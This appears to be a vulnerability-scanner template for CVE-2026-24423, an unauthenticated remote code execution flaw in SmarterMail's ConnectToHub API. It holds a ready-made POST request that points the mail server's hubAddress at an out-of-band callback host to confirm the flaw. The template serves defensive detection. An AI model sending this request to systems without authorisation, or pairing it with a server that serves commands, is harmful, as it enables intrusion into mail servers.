id: CVE-2026-24423

info:
  name: "Smartermail - Missing Authentication"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    SmarterTools SmarterMail versions prior to build 9511 contain an unauthenticated remote code execution
    vulnerability in the ConnectToHub API method. The attacker could point the SmarterMail to the malicious HTTP
    server, which serves the malicious OS command.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-24423&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=smartermail&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-24423
    cwe-id: CWE-306
  metadata:
    verified: false
  tags: cve,cve2026,smartermail,rce,oast,kev,vkev
http:
  - raw:
      - |
        POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"hubAddress":"http://{{interactsh-url}}","oneTimePassword":"{{randstr}}","nodeName":"{{randstr}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "setup-initial-connection"